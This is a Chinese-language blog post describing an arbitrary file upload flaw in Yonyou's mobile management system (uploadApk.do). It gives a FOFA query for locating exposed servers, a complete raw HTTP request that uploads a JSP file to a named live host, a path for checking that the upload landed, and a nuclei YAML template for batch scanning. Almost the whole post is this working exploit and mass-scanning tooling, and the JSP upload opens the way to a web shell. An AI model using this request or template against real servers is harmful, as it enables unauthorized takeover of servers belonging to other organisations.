用友移动管理系统uploadApk.do任意文件上传漏洞

漏洞描述

用友 移动管理系统 uploadApk.do 接口存在任意文件上传漏洞,攻击者通过漏洞可以获取服务器权限

漏洞影响

用友移动管理系统

漏洞复现

fofa语法:app="用友-移动系统管理"
登录页面:

POC:

POST /maportal/appmanager/uploadApk.do?pk_obj= HTTP/1.1
Host: mnc.youedata.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=AAC37658EE256C5B82F85CCB3F27EE0E.server; JSESSIONID=68D8CD7BD870BF0CCC6FBAA9614D80F0.server
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvLTG6zlX0gZ8LzO3
Content-Length: 198

------WebKitFormBoundaryvLTG6zlX0gZ8LzO3
Content-Disposition: form-data; name="downloadpath"; filename="a.jsp"
Content-Type: application/msword

hello
------WebKitFormBoundaryvLTG6zlX0gZ8LzO3--

先发包验证,返还状态码必须是2成功,其他状态码不行

访问url验证文件是否上传成功
/maupload/apk/a.jsp

nuclei批量yaml文件

id: yonyou_yidong_uploadApk_upload
info:
  name: 用友移动管理系统uploadApk.do任意文件上传漏洞
  author: mhb17
  severity: critical
  description: description
  reference:
    - https://
  tags: upload
requests:
  - raw:
      - |-
        POST /maportal/appmanager/uploadApk.do?pk_obj= HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Connection: close
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvLTG6zlX0gZ8LzO3
        Content-Length: 198

        ------WebKitFormBoundaryvLTG6zlX0gZ8LzO3
        Content-Disposition: form-data; name="downloadpath"; filename="a.jsp"
        Content-Type: application/msword

        hello
        ------WebKitFormBoundaryvLTG6zlX0gZ8LzO3--
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"status":2}'
      - type: word
        part: header
        words:
          - '200'
posted @ 2023-09-07 14:28  学安全的小白  阅读(596)  评论(0编辑  收藏  举报